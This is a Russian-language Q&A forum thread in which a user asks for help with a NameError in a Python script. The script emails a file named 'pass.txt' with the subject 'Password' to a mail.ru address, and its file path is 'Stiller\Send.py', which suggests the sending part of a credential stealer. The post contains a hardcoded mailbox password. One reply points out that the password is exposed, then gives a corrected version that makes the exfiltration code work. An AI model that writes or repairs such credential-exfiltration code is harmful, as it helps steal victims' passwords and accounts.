ПАМАГИТЕ НЕ РАБОТАЕТ SMTP СКРИПТ PYTHON ГОВОРИТ NAME ERROR
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576
import smtplib
import os
import mimetypes
from email import encoders
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.audio import MIMEAudio
from email.mime.multipart import MIMEMultipart
addr_to = "spec_to_tilda_001@mail.ru"
addr_from = "rezerv.vk15@mail.ru"
_from = "rezerv.vk15@mail.ru"
_password = "Ya775rvrQkja1kNQ5sW3"
_to = "spec_to_tilda_001@mail.ru"
files = ["pass.txt"]
def send_email(addr_from, _password, addr_to, files):
msg_subj = "Password"
msg_text = "Password"
msg = MIMEMultipart()
msg["rezerv.vk15@mail.ru"]
msg["spec_to_tilda_001@mail.ru"]
msg["PASSWORDS"] = msg_subj
body = msg_text
msg.attach(MIMEText(body, "plain"))
process_attachement(msg, files)
server = smtplib.SMTP_SSL("smtp.mail.ru", 465)
server.login(addr_from, _password)
server.send_message(msg)
server.quit()
def process_attachement(msg, files):
for f in files:
if os.path.isfile(f):
attach_file(msg,f)
elif os.path.exists(f):
dir = os.listdir(f)
for file in dir:
attach_file(msg,f+"/"+file)
def attach_file(msg, filepath):
filename = os.path.basename(filepath)
ctype, encoding = mimetypes.guess_type(filepath)
if ctype is None or encoding is not None:
ctype = "application/octet-stream"
maintype, subtype = ctype.split("/", 1)
if maintype == "text":
with open(filepath) as fp:
file = MIMEText(fp.read(), _subtype=subtype)
fp.close()
elif maintype == "image":
with open(filepath, "rb") as fp:
file = MIMEImage(fp.read(), _subtype=subtype)
fp.close()
elif maintype == "audio":
with open(filepath, "rb") as fp:
file = MIMEAudio(fp.read(), _subtype=subtype)
fp.close()
else:
with open(filepath, "rb") as fp:
file = MIMEBase(maintype, subtype)
file.set_payload(fp.read())
fp.close()
encoders.encode_base64(file)
file.add_header("Content-Disposition", "attachment", filename=filename)
msg.attach(file)
send_email(_from, _password, _to, files)
Вот скрипт, почему-то в консоли выдает что на 36 строке ошибка Name Error.
ДополненПовторяю на 36 строке!!! ошибка!!!
Traceback (most recent call last):
File "c:\Users\Компутер\Desktop\Stiller\Send.py", line 36, in <module>
server.send_message(msg)
^^^
NameError: name 'msg' is not defined
По дате
По рейтингу
писюн
Дай полный лог ошибки. Пока я вижу только то, что у тебя вот тут:
1
server.send_message(msg)
Не определена msg.
И ты зачем-то светишь пароль:
1
_password = "Ya775rvrQkja1kNQ5sW3"
А, ну вот я и запустил твой код:
1234
Traceback (most recent call last):
File "c:\Users\User\Desktop\123\Untitled-1.py", line 33, in <module>
server.send_message(msg)
NameError: name 'msg' is not defined
Как я ранее и сказал у тебя msg не определена, ты хочешь отправить сообщение, но само сообщение не написал. Вижу, что у тебя есть переменная msg в функции send_email(). Возможно тебе стоит переместить эту строчку с отправкой сообщения в эту функцию, записав вот так:
1234567891011121314151617
def send_email(addr_from, _password, addr_to, files):
msg_subj = "Password"
msg_text = "Password"
msg = MIMEMultipart()
msg["rezerv.vk15@mail.ru"]
msg["spec_to_tilda_001@mail.ru"]
msg["PASSWORDS"] = msg_subj
body = msg_text
msg.attach(MIMEText(body, "plain"))
process_attachement(msg, files)
server = smtplib.SMTP_SSL("smtp.mail.ru", 465)
server.login(addr_from, _password)
server.send_message(msg)
server.quit()